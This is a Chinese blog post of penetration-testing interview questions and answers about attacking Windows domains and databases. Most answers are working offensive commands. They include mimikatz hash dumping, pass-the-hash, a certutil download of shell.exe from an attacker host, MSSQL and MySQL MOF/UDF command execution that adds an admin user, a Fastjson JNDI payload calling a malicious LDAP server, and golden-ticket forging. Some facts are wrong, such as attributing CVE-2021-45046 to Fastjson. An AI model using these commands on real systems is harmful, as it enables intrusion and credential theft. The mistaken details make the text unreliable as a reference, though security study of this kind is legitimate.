2025年渗透测试面试题总结-97(题目+回答) - 详解
安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
9. MSSQL禁用xp_cmdshell后的GetShell
1、内网环境如果只有cmd和目标服务器的账号密码,如何确认目标服务器是否能登陆 2、对于MySQL+PHP+Windows的环境,如果存在注入,如何提高注入效率 3、mimikatz是从哪个进程抓的hash 4、如何在内网环境中找到域控(至少10种方法) 5、已知一公司环境存在域控,如果不在域环境内,如何寻找域控 6、内网渗透横向扩展有那几种方法(至少5种) 7、内网中,如果拿到一台机器或者多台机器的hash,如果hash没有解出来,还有别的利用方法吗 8、除了通过445,3389,21,22,23,80,8080,3306端口上部署的服务拿权限外,还可以通过什么端口什么服务拿到目标机的权限 9、mssql开启xpcmd无法写文件,还有什么方法可以getshell 10、mysql的mof提权原理 11、udf提权原理和条件 12、fastjson利用过 13、黄金票据是1. 仅通过CMD确认目标服务器可登录性
# Windows 系统 net use \\目标IP\C$ /user:用户名 "密码" # 尝试挂载C盘 systeminfo /s 目标IP /u 用户名 /p "密码" # 获取系统信息 # Linux 系统 (需安装rsh-client) rsh -l 用户名 目标IP "id" # 执行远程命令判断依据:命令成功执行(返回0)且输出有效信息即证明可登录。
2. MySQL+PHP+Windows环境注入效率优化
- 盲注加速:
SELECT IF(ASCII(SUBSTR(database(),1,1))=115, BENCHMARK(5000000,MD5('x')),1)
- 利用
BENCHMARK()制造时间延迟,减少请求次数- 批量提取:
- 使用
GROUP_CONCAT()一次性获取所有表名/字段- 结合
INTO OUTFILE直接导出数据(需写权限)- 工具自动化:
- sqlmap参数:
--threads 10 --batch --risk 3 --level 53. mimikatz提取Hash的进程
LSASS进程(Local Security Authority Subsystem Service)
- 内存中存储明文密码/NTLM Hash
- 执行命令:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"4. 内网定位域控的10种方法
方法 命令/操作 1. DNS SRV记录查询 nslookup -type=SRV _ldap._tcp.dc._msdcs. 域名2. NetBIOS扫描 nbtstat -A 目标IP3. LDAP默认端口探测 telnet 目标IP 3894. Kerberos端口探测 telnet 目标IP 885. 查询当前域控 net group "Domain Controllers" /domain6. SMB服务标识 smbclient -L //目标IP/ -N7. SPN扫描 setspn -T 域名 -Q */*8. 组策略对象定位 gpresult /R或检查\\域名\SYSVOL9. 时间服务源 w32tm /monitor10. 活动目录站点拓扑 nltest /dsgetsite5. 非域环境定位域控
- DNS侦查:
dig @DNS服务器IP 域名 axfr # 尝试区域传输- 端口扫描:扫描389(LDAP)、636(LDAPS)、88(Kerberos)、445(SMB)端口
- LLMNR/NBNS毒化:工具Responder监听获取域控身份认证
- SMB匿名枚举:
crackmapexec smb 目标IP --shares -u '' -p ''6. 内网横向移动5大方法
- 密码喷射攻击:
- 工具:CrackMapExec
crackmapexec smb IP段 -u userlist.txt -p 'Password123!'- Pass-the-Hash (PtH):
- 工具:psexec.py
psexec.py -hashes :NTLM_HASH 域名/用户@目标IP- 服务漏洞利用:
- MS17-010、MS08-067等永恒之蓝系列漏洞
- WMI远程执行:
wmic /node:目标IP process call create "cmd.exe /c certutil -urlcache -split -f http://攻击机/shell.exe"- 计划任务部署:
schtasks /create /s 目标IP /u 域用户 /p 密码 /tn 任务名 /tr "C:\shell.exe" /sc once /st 00:007. 未破解Hash的利用方法
- Pass-the-Hash (PtH):
mimikatz.exe "sekurlsa::pth /user:管理员 /domain:目标域 /ntlm:HASH"- Overpass-the-Hash:将NTLM Hash转为Kerberos TGT
- 约束委派攻击:利用服务账户Hash请求可转发票据
8. 非常规端口GetShell方法
端口 服务 利用方式 5985/5986 WinRM Evil-WinRM或Powershell Remoting 135 RPC DCOM横向移动(如MMC20.Application) 1433 MSSQL xp_cmdshell/CLR自动执行 5985 WMI wmiexec.py 执行命令 47001 Windows Remote Management 同WinRM 9. MSSQL禁用xp_cmdshell后的GetShell
- CLR程序集:
CREATE ASSEMBLY ExecCmd FROM 'C:\clr.dll' WITH PERMISSION_SET = UNSAFE; CREATE PROCEDURE sp_cmdExec @cmd NVARCHAR (MAX) AS EXTERNAL NAME ExecCmd.StoredProcedures.CmdExec; EXEC sp_cmdExec 'whoami';- Agent Jobs提权:
EXEC msdb.dbo.sp_add_job @job_name='GetShell'; EXEC msdb.dbo.sp_add_jobstep @job_name='GetShell', @command='powershell -e JABzAC...'; EXEC msdb.dbo.sp_start_job 'GetShell';10. MySQL MOF提权原理
- 核心机制:
Windows每5秒检查C:\Windows\system32\wbem\mof\中的.mof文件并执行- 利用步骤:
- 创建恶意MOF文件:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "root\\cimv2"; Name = "filtP1"; Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime'"; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $Consumer { Name = "consP1"; RunInteractively=false; CommandLineTemplate="net user hacker P@ssw0rd /add"; };- 写入目标路径:
SELECT load_file('C:/shell.mof') INTO DUMPFILE 'C:/Windows/system32/wbem/mof/shell.mof';11. UDF提权原理与条件
- 原理:
加载自定义DLL创建执行系统命令的函数(如sys_exec())- 必要条件:
- MySQL有
FILE权限(secure_file_priv为空)- 目标系统与DLL架构匹配(32/64位)
- DLL存放路径有写权限(如
plugin_dir)- 利用流程:
CREATE FUNCTION sys_exec RETURNS integer SONAME 'udf.dll'; SELECT sys_exec('cmd /c "net user > C:\\out.txt"');12. FastJSON漏洞利用
- 关键漏洞:反序列化时自动触发JNDI注入(CVE-2021-45046)
- 利用步骤:
- 启动恶意LDAP服务(工具:marshalsec)
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://攻击机/#Exploit- 发送PoC请求:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://恶意IP/Exploit", "autoCommit": true }13. 黄金票据(Golden Ticket)详解
graph LR A[获取krbtgt的NTLM Hash] --> B[伪造TGT] B --> C[添加任意用户到域管理员组] C --> D[访问域内任何资源]
- 制作条件:
- 域SID(
whoami /user)- krbtgt账户的AES-256或NTLM Hash
- 生成命令:
mimikatz.exe "kerberos::golden /user:伪造用户 /domain:域名 /sid:SID /krbtgt:Hash /ptt"- 防御措施:启用LSA保护、定期重置krbtgt密码(每180天)
附:黄金票据 vs 白银票据
特性 黄金票据 白银票据 所需Hash krbtgt 服务账户(如CIFS$) 访问范围 全域资源 特定服务(如文件共享) 有效期 ≤10年(默认) ≤10小时(默认) 检测难度 极高 中等
浙公网安备 33010602011771号